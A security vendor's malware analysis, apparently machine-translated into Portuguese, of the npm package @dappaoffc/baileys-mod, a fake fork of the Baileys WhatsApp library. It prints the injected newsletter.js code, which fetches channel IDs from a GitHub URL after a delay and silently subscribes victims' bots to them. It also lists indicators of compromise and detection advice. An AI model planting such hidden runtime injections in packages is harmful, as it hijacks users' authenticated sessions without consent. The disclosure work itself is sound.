TL, DR
O Equipe de Pesquisa de Segurança Xygeni identificou um pacote npm malicioso, @dappaoffc/baileys-mod, publicada como uma bifurcação da biblioteca WhatsApp Web API, amplamente utilizada. @whiskeysockets/baileys.
A partir da versão 8.0.1, este pacote npm malicioso contém uma injeção de código em tempo de execução. lib/Socket/newsletter.jsA lógica injetada inscreve silenciosamente a sessão autenticada do bot do WhatsApp do desenvolvedor em canais de newsletter controlados pelo atacante.
A carga útil é ativada 80 segundos após o carregamento do módulo e recupera dinamicamente sua lista de alvos do GitHub, tornando o comportamento autoatualizável e difícil de detectar por meio de análises em tempo de instalação.
Visão geral técnica
Durante o monitoramento de rotina de dependências recém-publicadas, a Equipe de Pesquisa de Segurança da Xygeni detectou um comportamento anômalo em @dappaoffc/baileys-mod, mais tarde confirmado como um pacote npm malicioso Visando o ecossistema de bots do WhatsApp.
Diferentemente de worms que roubam credenciais ou de ransomware, este pacote npm malicioso abusa da relação de confiança entre um desenvolvedor e uma biblioteca de código aberto comumente bifurcada.
O pacote se apresenta como uma versão modificada de Baileys, uma implementação popular da API Web do WhatsApp, amplamente utilizada para criar bots de automação. Dentro desse ecossistema, a instalação de forks é uma prática comum. Consequentemente, o atacante explorou um modelo de distribuição realista em vez de uma vulnerabilidade.
Importante:
- O O script de pré-instalação valida apenas a versão do Node.js.
- Não ocorre exfiltração de credenciais durante a instalação.
- Nenhuma atividade suspeita após a instalação foi detectada.
- A injeção é executada estritamente em tempo de execução.
Devido a esse projeto, os scanners instalados durante a instalação não detectariam comportamentos maliciosos.
Mecanismo de injeção em tempo de execução dentro do pacote npm malicioso
A lógica maliciosa contida neste pacote npm malicioso reside em lib/Socket/newsletter.js, incorporado diretamente no contexto de execução do módulo.
O atacante envolveu o bloco injetado em uma Expressão de Função Invocada Imediatamente (IIFE), o que garante a execução assim que o módulo for carregado.
No entanto, em vez de ser acionada imediatamente, a carga útil introduz um mecanismo de execução retardada:
(async () => {
try {
setTimeout(async() => {
const res = await fetch('https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.json');
const newsletterIds = await res.json();
newsletterIds.forEach(async(i) => {
await delay(5000)
try {
await newsletterWMexQuery(i.id, Types_1.QueryIds.FOLLOW);
} catch (e) {}
});
}, 80000)
} catch (err) {}
})()
Após o término do atraso, a carga útil executa uma sequência controlada:
- Busca um JSON arquivo de um URL de conteúdo bruto do GitHub.
- Analisa uma lista de IDs de newsletters do WhatsApp.
- Percorre a lista.
- chamadas
newsletterWMexQuery(id, QueryIds.FOLLOW)para cada entrada. - O Spaces solicita mensagens com cinco segundos de intervalo para reduzir a detecção de limite de taxa.
- Suprime silenciosamente todos os erros de tempo de execução.
Como o código invoca funções internas da biblioteca em vez de scripts externos, o tráfego resultante parece indistinguível de ações legítimas iniciadas pelo usuário. Quais aplicativos Do ponto de vista do protocolo, o bot se inscreveu voluntariamente nesses canais.
Comparação técnica: comportamento legítimo versus comportamento injetado
| Componente | Comportamento legítimo | Injeção Maliciosa |
|---|---|---|
| Fase de Instalação | Valida apenas a versão do Node.js | Nenhum comportamento malicioso visível durante a instalação. |
| Inicialização do módulo | Fábrica de soquetes para WhatsApp para exportação | IIFE é executada automaticamente ao carregar o módulo. |
| Tempo de execução | Sem comportamento retardado | Ativação com atraso de 80 segundos |
| Comunicação de rede | A comunicação é feita exclusivamente através do protocolo WhatsApp WebSocket. | Busca de saída para conteúdo bruto do GitHub (canal de controle dinâmico) |
| Ações da newsletter | Solicitações de assinatura iniciadas pelo usuário | Solicitações FOLLOW automatizadas por meio da API interna da biblioteca. |
| Tratamento de erros | Propaga erros operacionais | Suprime silenciosamente todas as exceções. |
Canal de controle dinâmico via GitHub
A lista de IDs da newsletter está hospedada em:
https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.json
Este projeto oferece diversas vantagens operacionais:
- Atualizações dinâmicas de payloads sem publicar uma nova versão do npm.
- Ponto de extremidade TLS confiável que se integra ao tráfego normal de desenvolvedores.
- Não é necessária nenhuma infraestrutura gerenciada pelo atacante.
- Persistência entre bots já implantados
Como a injeção é executada dentro do escopo da fábrica, ela reutiliza closures internas, como: newsletterWMexQuery e delay Sem importar módulos externos. Isso minimiza o espaço ocupado e aumenta a discrição.
Na prática, o GitHub funciona como um canal de distribuição de comandos leve.
Sinais de Dependência, Alias e Atribuição
Os metadados do pacote incluem o seguinte alias de dependência:
"libsignal": "npm:@skyzopedia/libsignal-node"
Isso redireciona uma dependência criptográfica crítica para um escopo npm controlado pelo atacante.
Além disso, os metadados representam o projeto original, fazendo referência ao autor e repositório originais. Isso aumenta a legitimidade percebida e reduz o escrutínio durante uma revisão superficial.
Esses sinais indicam uma mistura deliberada de ecossistemas em vez de... adulteração oportunista.
Indicadores de comprometimento para este pacote npm malicioso
As equipes de segurança que investigam este pacote npm malicioso devem avaliar os seguintes sinais:
Sinais de rede
- Solicitações GET de saída para
raw.githubusercontent.comprocessos de bots do WhatsApp - Ações de SEGUIR na newsletter que ocorrem sem que a lógica do aplicativo as acione.
Pacote de sinais
@dappaoffc/baileys-modversão 8.0.1 (e potencialmente 8.0.0)- redirecionamento de alias de dependência
libsignal - Injeção IIFE em tempo de execução dentro
newsletter.js
Sinais Comportamentais
- Solicitações FOLLOW espaçadas em intervalos de cinco segundos.
- Nenhuma interação do usuário antes da inscrição na newsletter.
- Supressão silenciosa de erros no código da biblioteca principal
Diferentemente dos malwares tradicionais, este ataque não requer exfiltração de credenciais. O abuso ocorre inteiramente dentro de um contexto de sessão já autenticada.
Detecção e Mitigação com Xygeni
Este caso ilustra por que a verificação durante a instalação, por si só, é insuficiente. O comportamento malicioso é executado após o carregamento do módulo e se oculta dentro da lógica de negócios legítima.
Alerta Antecipado de Malware (MEW) da Xygeni Este pacote foi detectado através da correlação de múltiplos sinais, em vez de se basear em uma única assinatura.
Análise Estática de Fonte Completa
O MEW inspeciona árvores de origem de pacotes completas, não apenas scripts de ciclo de vida.
Neste caso, os sinais de detecção incluíram:
- Um inesperado
fetch()chamada dentro de um módulo principal do WhatsApp - Comunicação de saída para conteúdo bruto do GitHub
- Padrões de execução atrasada incorporados na lógica de tempo de execução
- Tratamento silencioso de erros aninhados
Individualmente, esses padrões podem parecer benignos. No entanto, a análise combinada revela um comportamento anômalo inconsistente com uma bifurcação de Baileys legítima.
Correlação de risco de dependência
O libsignal O uso de alias gerou escrutínio adicional porque redireciona uma dependência sensível para um escopo não verificado.
Correlações de Xygeni:
- sinais de reputação do editor
- Inconsistências na definição de escopo de propriedade
- Redirecionamento de dependências em bibliotecas criptográficas
- indicadores de falsificação de metadados
Essa análise em camadas reduz os falsos positivos e, ao mesmo tempo, identifica abusos de confiança.
Controles da cadeia de suprimentos com reconhecimento de tempo de execução
Como esse pacote npm malicioso é executado em tempo de execução, uma defesa eficaz requer análise comportamental.
Xygeni avalia:
- Mecanismos de execução retardada
- Uso indevido da API interna
- Chamadas de rede de saída dentro do código de dependência
- Fluxo de controle anômalo em bibliotecas de terceiros
Além disso, Guardrails políticas em CI/CD pode:
- Bloquear chamadas de saída inesperadas durante a compilação
- Detectar alterações suspeitas no gráfico de dependências
- Impor restrições ao redirecionamento de escopo
- Padrões de recuperação de carga útil dinâmica de sinalização
Portanto, a contenção não depende exclusivamente da remoção do registro.
Por que este pacote npm malicioso é importante para a segurança da cadeia de suprimentos
Este pacote npm malicioso reflete uma mudança estrutural no abuso da cadeia de suprimentos:
- Execução em tempo de execução em vez de cargas úteis em tempo de instalação
- Canais de controle dinâmico hospedados em plataformas confiáveis
- Abuso de APIs internas legítimas
- Falsificação de metadados para imitar os mantenedores originais.
O atacante não explorou uma vulnerabilidade de software. Em vez disso, explorou a confiança em forks e atualizações de dependências.
Consequentemente, a detecção requer inspeção completa do código-fonte, correlação de riscos de dependência e análise considerando o tempo de execução, e não apenas varredura de scripts.







